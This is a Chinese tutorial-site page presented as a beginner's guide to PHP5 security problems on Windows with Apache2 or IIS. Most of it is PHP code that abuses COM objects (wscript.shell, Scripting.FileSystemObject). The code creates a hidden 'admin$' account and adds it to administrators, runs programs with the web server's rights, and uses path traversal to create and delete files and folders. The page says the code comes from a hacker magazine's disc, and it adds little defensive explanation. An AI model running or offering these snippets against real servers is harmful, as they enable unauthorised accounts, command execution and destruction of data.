一聚教程网:一个值得你收藏的教程网站

最新下载

热门教程

php5的安全问题讲解[新手必读]

时间:2008-02-19 编辑:简简单单 来源:一聚教程网


问题存在于php5,windows平台,通用apache2和iis
添加用户
$wscript = new COM('wscript.shell'); $wscript->Run("cmd.exe /c net user admin$ /add");
$wscript->Run("cmd.exe /c net localgroup administrators admin$ /add");
?>
测试结果为添加了受限的用户,并没有加入管理员组

通过http 服务软件运行程序。
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');
$compatUI->RunApplication("something", "notepad.exe", 1);
?>
测试结果为进程继承了http服务软件的权限。
以服务为运行方式的http服务软件运行的进程是不可视的,但如果用zend studio来运行的话就可以看见了。

其他代码没有一一测试,现将黑防杂志附送光盘里的代码贴上来。

RunApplication函数测试代码
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');
$compatUI->RunApplication("something", "notepad.exe", 1);
?>

Wscript运行命令测试代码
$wscript = new COM('wscript.shell');
$wscript->Run("cmd.exe /c calc.exe");
?>
$wscript = new COM('wscript.shell'); $wscript->Run("cmd.exe /c net user admin$ /add");
$wscript->Run("cmd.exe /c net localgroup administrators admin$ /add");
?>

OpenTextFile测试代码
$mPath = str_repeat("..\",20);
$FSO = new COM('Scripting.FileSystemObject');
$FSO->OpenTextFile($mPath."bat.bat", 8, true);
?>   

DeleteFile测试代码
$mPath = str_repeat("..\",20);
$FSOdelFile = new COM('Scripting.FileSystemObject');
$FSOdelFile->DeleteFile($mPath.".\*.dat", True);
?>

DeleteFolder测试代码
$mPath = str_repeat("..\",20);
$FSOdelFolder = new COM('Scripting.FileSystemObject');
$FSOdelFolder->DeleteFolder($mPath.".\11", True);
?>

Create函数测试代码
$user = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');
$user->Create("asd");
?>

热门栏目